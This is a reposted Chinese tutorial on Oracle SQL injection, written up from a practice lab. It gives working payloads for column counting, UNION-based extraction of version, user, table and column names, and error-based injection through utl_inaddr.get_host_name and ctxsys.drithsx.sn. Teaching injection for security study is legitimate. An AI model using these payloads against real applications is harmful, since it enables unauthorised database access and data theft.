SQL注入之Oracle

admin 2023年12月14日14:17:45评论19 views字数 2746阅读9分9秒阅读模式

SQL注入之Oracle

免责声明


SQL注入之Oracle

由于传播、利用本公众号"零漏安全"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"零漏安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢!

1.注入基本规则

1.Oracle使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

2.Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以再Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据是一致的,也可以是使用null代替某些无法快速猜测出数据类型的位置

3.Oracle的单行注释符号是--,多行注释符号是/**/

2.实例注入语句

判断列数:' order by 3 -
------------------------------------------------------------

判断回显位置:'union select null,null,null,unll from dual --
-------------------------------------------------------------

获取数据库版本信息:
select null,(select banner from sys.v_$version where rownum=1),null,null from dual

------------------------------------------------------------
user_tables :保持数据库 所有的表的信息  
table_name  

rownum=1


获取数据表名:
union select null,table_name,null,null from user_tables where rownum=1

union select null,(select table_name from user_tables where rownum=1),null,null from dual--


<>排除条件   <>'不包含的选项'  

union select null,(select table_name from user_tables where rownum=1 and table_name<>'DEMO'),null,null from dual--
------------------------------------------------------------

user_tab_columns: 保持所有数据字段信息  
column_name:字段名  


获取关键表中的字段名:
union select null,column_name,null,null from user_tab_columns where table_name='DEMO'--

union select null,column_name,null,null from user_tab_columns where table_name='DEMO' and column_name<>'ID' and rownum=1

union select null.(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual--

3.注入流程

1.寻找注入点:基本的步骤就是找到与数据库交互的输入框,然后判断这个输入框的数据类型,以及它的数据的闭合方式,然后添加一些判断语句查看是否存在注入

SQL注入之Oracle

2.判断列数

Oracle数据库同样是通过order by 进行查询数据表的列数判断,order by必须是select -list表达式的列数,在真实环境中的一个表的列数可能数目较多,因此在列数判断中我们最好使用二分法。

SQL注入之Oracle

3.Oracle联合查询

跟之前的学习的MySQL一样,Oracle同样通过union 来实现联合查询注入

SQL注入之Oracle

注意:因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用

4.信息收集

可以通过回显点收集相关信息

select user from dual 获取用户名
select banner from sys.v_$version where rownum=1 获取版本

5.查询表名 和 列名 获取数据

SQL注入之Oracle

因为靶场比较简陋,所以实验过程只是体现自己的注入思路


3.盲注--报错盲注

1.使用utl_inaddr.get_host_name()进行报错注入

作用:用于取得局域网或Internet环境中的主机名和IP地址

select utl_inaddr.get_host_name('127.0.0.1') hostname from dual;

SQL注入之Oracle

注入语句:

id==1  and 1=utl_inaddr.get_host_name((select user from dual))--

SQL注入之Oracle

2.使用ctxsys.drithsx.sn()进行报错注入

报错语句:

1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--


CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))



ctxsys.drithsx.sn(mc,(查询函数))--

SQL注入之Oracle

这里为什么需要1=呢,是因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件

rownum

select * from demo  rownum <=3 ;

为什么第一个查询有返回值,第二个查询只是将ROWNUM=2,就没有值返回。

ROWNUM是一个伪列。该值在被读入cache中时被分配了一个值。每次查询该值都可能变化。同样的一行记录,可能由于读入cache中的行数不同,而导致ROWNUM不同。

SQL注入之Oracle

SQL注入之Oracle

同样一行的rownum根据查询返回值的不同而不同。在任何情况下,只有当rownum=1返回之后,才能够返回rownum=2。如果查询rownum大于1的值,如rownum=3,则是无效的,总是返回"No Rows Selected"的信息。


SQL注入之Oracle


掌控学院推出星球限时优惠25元

SQL注入之Oracle

加我微信好友,邀请你进聊天群聊

SQL注入之Oracle




原文始发于微信公众号(零漏安全):SQL注入之Oracle

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日14:17:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之Oraclehttps://cn-sec.com/archives/2295573.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息